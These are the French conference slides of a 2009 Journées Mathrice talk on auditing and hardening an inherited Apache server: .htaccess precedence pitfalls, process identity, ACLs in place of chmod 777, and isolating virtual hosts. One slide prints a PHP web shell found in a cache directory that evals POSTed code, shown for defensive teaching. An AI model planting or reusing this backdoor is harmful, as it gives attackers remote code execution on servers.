S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars...
Transcript of S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars...
Journées Mathrice - Mars 2009 - Angers1Jacquelin Charbonnel
S'APPROPRIER UNE CONFIG APACHEJacquelin Charbonnel
Journées Mathrice d'Angers18 mars 2009
Journées Mathrice - Mars 2009 - Angers2Jacquelin Charbonnel
Constat :un Apache fraîchement installé dispose d'un niveau de sécurité satisfaisantau fil du temps :
le nombre de documents croît, les webmasters sont plus nombreux => la configuration s'étoffeApache évolue => mises à jour successivesrotation des sysadmins
Question :comment s'approprier un serveur Apache en activité ?
comment évaluer le niveau de sécurité induit par la configuration en place ?comment contenir l'activité des webmasters ?
Journées Mathrice - Mars 2009 - Angers3Jacquelin Charbonnel
Vocabulaire
Espace web (URL-space) : fichiers et répertoires du filesystem accessibles par HTTP
Webmaster : un compte, déclaré sur le serveur, ayant des droits d'écriture sur une partie de l'espace web (hors pages perso)
Journées Mathrice - Mars 2009 - Angers4Jacquelin Charbonnel
Architecture
conf/httpd.conf
conf.d/php.confssl.conf
www/html/cgi-bin/
home/alfred/
public_html/zezette/
public_html/
usr/doc/share/
Alias
DocumentRoot
UserDir
config
Journées Mathrice - Mars 2009 - Angers5Jacquelin Charbonnel
conf/httpd.conf
conf.d/php.confssl.conf
www/html/
.htaccesscgi-bin/
.htaccess
home/alfred/
public_html/.htaccess
zezette/public_html/
.htaccess
usr/doc/
.htaccessshare/
.htaccess
Alias
DocumentRoot
UserDir
config
Journées Mathrice - Mars 2009 - Angers6Jacquelin Charbonnel
conf/httpd.conf
conf.d/php.confssl.conf
/.htaccessvar/
.htaccesswww/
.htaccesshtml/
.htaccesscgi-bin/
.htaccesshome/
.htaccessalfred/
.htaccesspublic_html/
.htaccesszezette/
.htaccesspublic_html/
.htaccessusr/
.htaccessdoc/
.htaccessshare/
.htaccess
config
Journées Mathrice - Mars 2009 - Angers7Jacquelin Charbonnel
Sections, .htaccess
directive arguments
<section>directive argumentsdirective arguments
</section><section>
<section>directive argumentsdirective arguments
</section></section>
sections : directory, files, location, virtualhost, limit<directory /htdocs>
directive argumentsdirective arguments
</directory>
/htdocs/.htaccess :directive argumentsdirective arguments
équivalent à
Journées Mathrice - Mars 2009 - Angers8Jacquelin Charbonnel
Priorité des sections
du moins au plus prioritaire1. <Directory> et .htaccess
pour un niveau donné, .htaccess prévaut sur <directory>
2. <DirectoryMatch>3. <Files> et <FilesMatch>4. <Location> et <LocationMatch>
sinon, chaque groupe identique est traité suivant l'ordre d'apparition
Journées Mathrice - Mars 2009 - Angers9Jacquelin Charbonnel
Gag 1
<Location /> order deny,allow allow from all</Location>
<Directory /htdocs> order allow,deny allow from mon.domaine</Directory>
Journées Mathrice - Mars 2009 - Angers10Jacquelin Charbonnel
Gag 2
Options +ExecCGI
<Directory /htdocs/xxx>Options -ExecCGI
</Directory>
/htdocs/xxx/.htaccess
Journées Mathrice - Mars 2009 - Angers11Jacquelin Charbonnel
Gag 3
<Directory /htdocs>Order Allow,DenyAllow from all
</Directory>
<Directory /htdocs/.../x/.../y>Require valid-user
</Directory>
$ cat /htdocs/.../x/.htaccessSatisfy Any
Journées Mathrice - Mars 2009 - Angers12Jacquelin Charbonnel
Baliser les .htaccess
<Directory /var/www/html/permissif>AllowOverride All
</Directory>
<Directory />AllowOverride None
</Directory>
AllowOverride Options=FollowSymlinksIfOwnerMatch
AccessFileName .htaccess readme
Journées Mathrice - Mars 2009 - Angers13Jacquelin Charbonnel
Journées Mathrice - Mars 2009 - Angers14Jacquelin Charbonnel
espace web total ≡ ∪ DocumentRoot + ∪ UserDir + ∪ Alias
vh vh sous contrôle du sysadmin
symlinkssous contrôle éventuel des webmasters
Options FollowSymlinks
Journées Mathrice - Mars 2009 - Angers15Jacquelin Charbonnel
Config par défaut (tarball)
$configure --prefix /usr/local/apache$make$ grep -i '^ *include' httpd.conf$ grep -i '^ *ServerRoot' *.confServerRoot "/usr/local/apache"$ grep -i '^ *DocumentRoot' *.confDocumentRoot "/usr/local/apache/htdocs"$ grep -i '^ *UserDir' *.conf$ grep -i '^ *Alias' *.conf$ grep -i '^ *ScriptAlias' *.conf ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/"
Journées Mathrice - Mars 2009 - Angers16Jacquelin Charbonnel
Config par défaut (Fedora)
$ grep -i '^\s*include' httpd.conf Include conf.d/*.conf$ grep -i '^\s*ServerRoot' *.confServerRoot "/etc/httpd"$ grep -i '^\s*DocumentRoot' *.confDocumentRoot "/var/www/html"$ grep -i '^\s*UserDir' *.conf UserDir disable
$ grep -i '^\s*Alias' *.confAlias /icons/ "/var/www/icons/"Alias /error/ "/var/www/error/"$ grep -i '^\s*ScriptAlias' *.confScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
Journées Mathrice - Mars 2009 - Angers17Jacquelin Charbonnel
<Directory /> Options FollowSymLinks AllowOverride None Order deny,allow Deny from all</Directory>
<Directory "/usr/local/apache/htdocs"> Options Indexes FollowSymLinks AllowOverride None Order allow,deny Allow from all</Directory>
<Directory "/usr/local/apache/cgi-bin"> AllowOverride None Options None Order allow,deny Allow from all</Directory>
<FilesMatch "^\.ht"> Order allow,deny Deny from all Satisfy All</FilesMatch>
Config par défaut (tarball)
Journées Mathrice - Mars 2009 - Angers18Jacquelin Charbonnel
Scripts
LoadModule cgi_module modules/mod_cgi.soAddHandler cgi-script .cgi
SetInputFilterAddInputFilter SetOutputFilter AddOutputFilteAddOutputFilterByType
LoadModule php5_module modules/libphp5.soAddHandler php5-script .php
test.phptest.fr.phptest.php.frtest.php.~
Action
Journées Mathrice - Mars 2009 - Angers19Jacquelin Charbonnel
Identité des process
normalement, httpd est lancé par rootle process initial reste sous l'identité root les process fils prennent l'identité User:Group
si httpd n'est pas lancé par root, il ne peut pas changer l'identité de ses fils, donc il tourne sous l'identité qui l'a lancé
Journées Mathrice - Mars 2009 - Angers20Jacquelin Charbonnel
Identité des process
=> tous les scripts (SSI, CGI) tournent sous une même identité=> un script défaillant peut impacter les données générées par les scripts des autres webmasters
Journées Mathrice - Mars 2009 - Angers21Jacquelin Charbonnel
$ cat tmp/cache/.dump.php<?phpif(isset($_GET['auto'])){if(isset($_POST['grammy']))eval(stripslashes($_POST['grammy']));?><form action=# method=POST><input type=text name=grammy><input type=submit></form><?php}?>
Journées Mathrice - Mars 2009 - Angers22Jacquelin Charbonnel
Bannir chmod 777
Journées Mathrice - Mars 2009 - Angers23Jacquelin Charbonnel
Journées Mathrice - Mars 2009 - Angers24Jacquelin Charbonnel
chown : faisable que par root
Par quoi remplacer chmod 777 ?
chown apache tmp/cache
Journées Mathrice - Mars 2009 - Angers25Jacquelin Charbonnel
ACL : affectées par le propriétaire du fichier
ACL
$ setfacl -m u:apache:r-x /htdocs/mathrice
$ cat /etc/fstabLABEL=htdocs /htdocs ext3 defaults,acl 1 2
$ getfacl /htdocs/mathrice# file: htdocs/mathrice# owner: root# group: rootuser::rwxgroup::r-xgroup:apache:r-xgroup:mathrice:rwxmask::rwxother::r-xdefault:user::rwxdefault:group::r-x$ ls -l-rwxr-xr-x+ 1 root root 2126 Jan 5 14:57 mathrice
Journées Mathrice - Mars 2009 - Angers26Jacquelin Charbonnel
ACL
$ setfacl -m u:apache:--- /etc /home
selinux ?
Journées Mathrice - Mars 2009 - Angers27Jacquelin Charbonnel
$ cat config/connect.php<?phpif (!defined("_ECRIRE_INC_VERSION")) return;$GLOBALS['spip_connect_version'] = 0.4;spip_connect_db('localhost','','login','password','db');?>
certains fichiers sensibles sont lisibles par apache
Journées Mathrice - Mars 2009 - Angers28Jacquelin Charbonnel
Utiliser une identité par virtual host ?
suexec : que pour les CGI
1 user/group par vh : qu'en Apache v1
en version 2, remplacé parsuexecUserGroup : que pour CGI
Journées Mathrice - Mars 2009 - Angers29Jacquelin Charbonnel
Etanchéifier les virtual hosts
1 httpd par vhavec son propre user:group sur une IP propre ou un port propre1 reverse proxy devant
#8080#8081#8082#8083Internet
vh1vh2vh3vh4
Journées Mathrice - Mars 2009 - Angers30Jacquelin Charbonnel
Etanchéifier les virtual hosts
virtualiser des groupes de vh1 reverse proxy devant
Internetvh1vh2vh3vh4
vh1vh2
vh3
vh4vh5vh6
Journées Mathrice - Mars 2009 - Angers31Jacquelin Charbonnel
Références
http://httpd.apache.org/docs/2.2/misc/security_tips.html
http://httpd.apache.org/docs/2.2/misc/perf-tuning.html
http://www.hsc.fr/ressources/
http://www.w3.org/Security/
Apache Security - Ivan Ristic - O'Reilly
Présentation ADF complète sur http://math.univ-angers.fr/~charbonnel